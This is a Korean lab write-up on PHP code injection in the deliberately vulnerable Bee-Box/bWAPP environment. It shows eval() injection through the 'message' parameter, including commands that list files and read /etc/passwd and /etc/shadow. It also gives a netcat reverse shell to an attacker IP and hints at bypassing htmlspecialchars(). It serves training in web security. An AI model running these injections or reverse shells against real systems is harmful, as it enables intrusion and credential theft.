1. PHP Code Injection

- Code injection 공격 중 하나로 취약한 PHP 함수에 악의적인 코드를 삽입하는 공격

 

2. 실습

2.1 Low

- "message"를 클릭한 뒤 URL을 확인해보면 GET 방식을 사용하며, message 매배견수로 입력 받은 값을 표시함

[사진 1] 초기 화면

 

- [사진 1]의 URL에서 확인되는 phpi.php 페이지를 확인 시 eval() 함수로 message 매개변수로 받은 값을 실행

- PHP에서 eval()은 ()안의 문자열을 PHP 코드로 실행하는 함수

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

[사진 2] eval()

 

- 원격의 공격자를 이를 이용해 원격에서 임의 명령 실행 가능

① 원격의 공격자는 nc 명령으로 4444 Port를 오픈 후 대기

② 취약한 message 매개변수에 리버스쉘을 생성하는 명령어 삽입 ex) system("nc 192.168.56.102 4444 -e /bin/bash")

③ 명령프롬프트 표시 : python -c 'import pty;pty.spawn("/bin/bash")'

[사진 3] 리버스 쉘 생성

2.2 Medium / High

- Medium / High Level에서는 Injection 코드가 텍스트로 출력

[사진 4] 결과

- eval() 함수를 사용한 Low Level과 달리 htmlspecialchars()를 통해 특수문자를 필터링 ( &, ", ', <, > )

- 참고 : https://www.php.net/manual/en/function.htmlspecialchars.php

※ 해당 함수는 우회가능함

① 입력 값을 base64 인코딩된 값으로 받는 페이지에서 우회 가능

② Hex 값을 반환해줄 경우 특수 문자를 Hex Encoding하여 우회 가능

[사진 5] htmlspecialchars()

- 해당 페이지는 message를 클릭하면 test가 출력된다.

[캡쳐 1] test

- URL 확인 시 message 파라미터의 값을 출력하는 형식이며, 이를 통해 GET 메소드를 이용한 방식이란 것을 알 수 있다.

[캡쳐 2] GET 방식 데이터 전송

- message 파라미터의 값을 다른 값으로 변경하여 실행할 경우, 변경된 값이 출력되는 것을 확인할 수 있다.

[캡쳐 3] ggonmer

- PHP에는 eval()이나 exec() 함수를 사용한 경우 세미콜론(;)을 사용해 다른 함수를 실행할 수 있는 취약점이 있다.

exec() 외부프로그램을 실행시켜주는 함수로 쉘 명령어들을 사용할 수 있게 해준다.
eval() 문자열을 PHP 코드로 실행해 준다.
system() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.
shell_exec() 문자열 형태의 명령어를 인자값으로 입력받아 실행시켜 준다.

- 해당 페이지에 php 취약점이 존재하는지 유무를 판별하기 위해 세미콜론(;)을 사용해 system()함수를 실행시켜 본다.

[캡쳐 4] system('ls -al')

- 실행 결과 ls -al 명령어의 결과로 파일 목록과 내용을 확인할 수 있다.

[캡쳐 5] cat /etc/passwd

- 사용자 계정 정보를 담고있는 파일인 /etc/passwd의 내용 역시 볼 수 있다.

[캡쳐 6] cat /etc/shadow

- /etc/shadow 파일의 내용은 출력되지 않는 것으로 보아 현재 웹 권한만 가지고 있고, 상위 권한의 사용자만 접근 가능한 파일의 경우 출력되지 않는 것을 알 수 있다. 

- nc 명령을 이용해 공격자의 PC로 연결도 가능하다..

-n 옵션 호스트 네임과 포트를 숫자로 출력
-l 옵션 Listen 모드로 Port 오픈
-v 옵션 더 많은 정보를 볼 수 있음
-p 옵션 포트를 지정

① 먼저 공격자가 NC 명령을 이용해 리스닝 포트를 오픈 후 대기한다.

-e 옵션 연결 생성 뒤 실행 프로그램 지정

② Bee-Box에서 해당 명령을 실행한다.

③ Bee-Box에서 Kali로 연결이 생성 및 공격자의 shell을 획득.

+ Recent posts